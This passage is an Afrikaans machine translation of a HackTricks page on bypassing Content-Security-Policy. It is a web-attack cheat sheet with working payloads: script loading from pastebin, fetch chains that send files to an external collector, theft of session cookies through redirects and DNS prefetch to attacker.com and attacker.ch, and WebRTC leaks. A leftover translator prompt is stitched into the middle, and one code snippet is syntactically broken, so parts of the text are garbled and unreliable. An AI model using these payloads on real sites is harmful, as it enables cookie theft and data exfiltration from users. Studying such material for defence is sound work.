As jy kan slaag om die bediener te laat reageer met die kop Content-Security-Policy-Report-Only met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die JS-inhoud wat jy wil uitlek met <script> omhul en omdat dit baie waarskynlik is dat unsafe-inline nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Content-Security-Policy-Report-Only.

Vir 'n voorbeeld kyk na hierdie CTF-skryfstuk.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Uitlek van Inligting met CSP en Iframe

• 'n iframe word geskep wat na 'n URL wys (laat ons dit https://example.redirect.com noem) wat toegelaat word deur CSP.
• Hierdie URL verwys dan na 'n geheime URL (bv., https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.
• Deur te luister na die securitypolicyviolation gebeurtenis, kan 'n persoon die blockedURI eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, lek.

Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lekkasie van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontbloot.

Beide metodes maak gebruik van die subtiliteite van CSP-implementering en gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.

Truuk van hier.

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutvinders te kommunikeer!

Hack-insigte
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied

Hack-nuus in werklikheid
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutvindings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Onveilige Tegnologieë om CSP te omseil

PHP responsbuffer oorlading

PHP is bekend vir buffering die respons tot 4096 grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur genoeg data binne waarskuwings te voorsien, sal die respons gestuur word voor die CSP-kop, wat veroorsaak dat die kop geïgnoreer word.
Dan bestaan die tegniek basies daarin om die responsbuffer met waarskuwings te vul sodat die CSP-kop nie gestuur word nie.

Idee vanaf hierdie skryfstuk.

Herskryf Foutbladsy

Vanaf hierdie skryfstuk lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik in 'n eindpunt van 'n bladsy om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die kwesbare eindpunt die opener-voorwerp in die lading gebruik om toegang te verkry tot die DOM van die werklike eindpunt wat misbruik moet word. Vir meer inligting, kyk:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Daarbenewens het wordpress 'n JSONP-eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat in die uitvoer gestuur word, sal weerspieël (met die beperking van slegs letters, syfers en kolletjies).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> in te sluit. Let daarop dat hierdie script sal gelaai word omdat dit toegelaat word deur 'self'. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare terugroep-eindpunt wat die CSP omseil om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Uitlekverbygaan

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interakteer nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting uit te lek.

Ligging

Jy kan eenvoudig die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Om bladsye vinniger te laai, gaan webblaaier die hostnaam na IP-adresse vooraf oplos en dit vir later gebruik in die cache stoor.
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: <link rel="dns-prefetch" href="iets.com">

Jy kan hierdie gedrag misbruik om gevoelige inligting via DNS-versoeke uit te voer:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Ander manier:

Die volgende is inhoud uit 'n hakkersboek oor hakkingstegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hakkingstegniekname, hakkingwoord, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra dinge byvoeg buite die vertaling en markdown-sintaks nie.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Dit blykbaar werk hierdie tegniek nie in headless-browsers (bots) {% endhint %}

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP nagaan nie.

Eintlik kan jy inligting lek deur 'n DNS versoek. Kyk na hierdie kode:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

'n Ander opsie:'

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP-beleide aanlyn

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

Skep CSP outomaties

https://csper.io/docs/generating-content-security-policy

Verwysings

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/

​

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hackering ondersoek

Nuus oor Hackering in Werkliktyd
Bly op hoogte van die snelveranderende hackeringwêreld deur werkliktydnuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hackering van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou hackeringtruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.